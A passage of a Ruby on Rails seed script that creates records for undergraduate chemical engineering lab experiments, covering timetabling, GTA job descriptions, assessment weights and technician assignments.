mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a402.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a402.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a402.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a402.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a403 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"111\").first_or_create!(name: \"Experiment 3 (student proposals)\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at403 = ActivityTimetable.where(activity_id: a403.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a403.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a403.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a403.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a403.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a403.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a404 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"112\").first_or_create!(name: \"Experiment E1: Measurement of kappa for air by pressure measurement\",\n name_abrv: \"E1\", archived: false, in_drive: false, user_id: 2)\n at404 = ActivityTimetable.where(activity_id: a404.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a404.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jjd5ugd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a404.id).first_or_create!(criteria: \"Interest/experience in pumps, valves, P/T measurement and data acquisition. The equipment is considered to be medium scale.\",\n job_desc:\"Supervising groups of students using the Armfield TH5 (check Armfield website for details). Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a404.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a404.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a404.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a405 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"113\").first_or_create!(name: \"Experiment F1: Determination of the activation energy for the iodine clock reaction\",\n name_abrv: \"F1\", archived: false, in_drive: false, user_id: 4)\n at405 = ActivityTimetable.where(activity_id: a405.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a405.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hk9uttd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a405.id).first_or_create!(criteria: \"Interest/experience would suit people with chemistry backgrounds. This involves running a number of experiments at different temperatures and determining the reaction time. It is based on the \\\"iodine clock reaction\\\", where the reaction time is determined from a sudden change in colour.\",\n job_desc:\"Supervising groups of students using \\\"typical\\\" lab equipment: chemicals, test tubes, water baths and stirrers. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a405.id).first_or_create!(assess_weight: 3.33, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a405.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a405.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a406 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"114\").first_or_create!(name: \"Experiment P1: PVT properties of an ideal gas\",\n name_abrv: \"P1\", archived: false, in_drive: false, user_id: 1)\n at406 = ActivityTimetable.where(activity_id: a406.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a406.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/omrcc26\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a406.id).first_or_create!(criteria: \"Interest/experience in physical chemistry and pressure measurement. The equipment is considered small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using a simple glass tube/hand-pump combination. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a406.id).first_or_create!(assess_weight: 2.5, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a406.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a406.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a407 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"115\").first_or_create!(name: \"Experiment P2: Investigation of a bomb calorimeter\",\n name_abrv: \"P2\", archived: false, in_drive: false, user_id: 5)\n at407 = ActivityTimetable.where(activity_id: a407.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a407.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/o9bkozv\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a407.id).first_or_create!(criteria: \"Interest/experience in combustion, heat transfer and thermodynamics. This is quite a hands-on experiment since it involves dealing with gas cylinders as well.\",\n job_desc:\"Supervising groups of students using an Anton-Parr bomb calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a407.id).first_or_create!(assess_weight: 3.33, notes: \"Post lab quiz prefered, as in previous years. This has previously been carried out by way of a 1-side assignment.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a407.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a407.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a408 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"116\").first_or_create!(name: \"Experiment P3: Investigation of a solution calorimeter\",\n name_abrv: \"P3\", archived: false, in_drive: false, user_id: 3)\n at408 = ActivityTimetable.where(activity_id: a408.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a408.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hpdgh7k\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a408.id).first_or_create!(criteria: \"Interest/experience in making solutions, operating small mixers and data acquisition (National Instruments). This is quite a hands-on experiment since it involves putting equipment together as well as running the equipment.\",\n job_desc:\"Supervising groups of students using an in-house solution calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a408.id).first_or_create!(assess_weight: 3.33, notes: \"As in previous years.Completed numerical analysis sheet and graphical plot of data.\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a408.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a408.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a409 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"117\").first_or_create!(name: \"Exp 1: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at409 = ActivityTimetable.where(activity_id: a409.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a409.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a409.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a409.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a409.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a409.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a410 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE140\").first.id, code: \"118\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3\", archived: false, in_drive: false, user_id: 5)\n at410 = ActivityTimetable.where(activity_id: a410.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a410.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hbd2b4p\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a410.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a410.id).first_or_create!(assess_weight: 10.0, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a410.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a410.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a411 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"431\").first_or_create!(name: \"Motion of spheres through liquids\",\n name_abrv: \"SPHERES\", archived: false, in_drive: false, user_id: 2)\n at411 = ActivityTimetable.where(activity_id: a411.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a411.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jatar4g\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a411.id).first_or_create!(criteria: \"Knowledge of stokes's drag law, viscosity, terminal velocity\",\n job_desc:\"Using the UoS large vertical drag tubes, balls of various sizes and materials are dropped through liquids of different viscosity. The traversal time is recorded and the material density is calculated for each ball based on a series of equations.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a411.id).first_or_create!(assess_weight: 5.0, notes: \"This is a five-question MOLE test to check understanding of the experiment\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a411.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a411.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a412 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"120\").first_or_create!(name: \"Particle Motion in Liquid Columns\",\n name_abrv: \"S4\", archived: true, in_drive: false, user_id: 1)\n at412 = ActivityTimetable.where(activity_id: a412.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a412.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a412.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a412.id).first_or_create!(assess_weight: 5.0, notes: \"This is the first occasion on which MJH has used a MOLE test as a post-lab\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a412.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a412.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a413 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"121\").first_or_create!(name: \"Investigation of ion exchange\",\n name_abrv: \"FY4\", archived: false, in_drive: false, user_id: 3)\n at413 = ActivityTimetable.where(activity_id: a413.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 9, max_week_num: 9, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a413.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a413.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a413.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a413.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a413.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a414 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"122\").first_or_create!(name: \"Introduction to Electrochemistry\",\n name_abrv: \"FY5\", archived: false, in_drive: false, user_id: 3)\n at414 = ActivityTimetable.where(activity_id: a414.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 11, max_week_num: 11, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a414.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a414.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a414.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a414.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a414.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a415 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"123\").first_or_create!(name: \"Water of Crystallisation\",\n name_abrv: \"FY3\", archived: false, in_drive: false, user_id: 4)\n at415 = ActivityTimetable.where(activity_id: a415.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 7, max_week_num: 7, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a415.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a415.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a415.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a415.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a415.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a416 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"124\").first_or_create!(name: \"Working with Solutions\",\n name_abrv: \"FY1\", archived: false, in_drive: false, user_id: 5)\n at416 = ActivityTimetable.where(activity_id: a416.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 2, max_week_num: 2, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a416.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a416.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a416.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a416.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a416.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a417 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"125\").first_or_create!(name: \"Exp 2: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at417 = ActivityTimetable.where(activity_id: a417.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a417.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a417.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a417.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a417.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a417.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a418 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"126\").first_or_create!(name: \"Exp2: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at418 = ActivityTimetable.where(activity_id: a418.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a418.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a418.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a418.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a418.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a418.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a419 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"127\").first_or_create!(name: \"Exp 2: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at419 = ActivityTimetable.where(activity_id: a419.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a419.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a419.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a419.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a419.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a419.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a420 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"128\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3 GEE\", archived: false, in_drive: false, user_id: 4)\n at420 = ActivityTimetable.where(activity_id: a420.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a420.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a420.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: 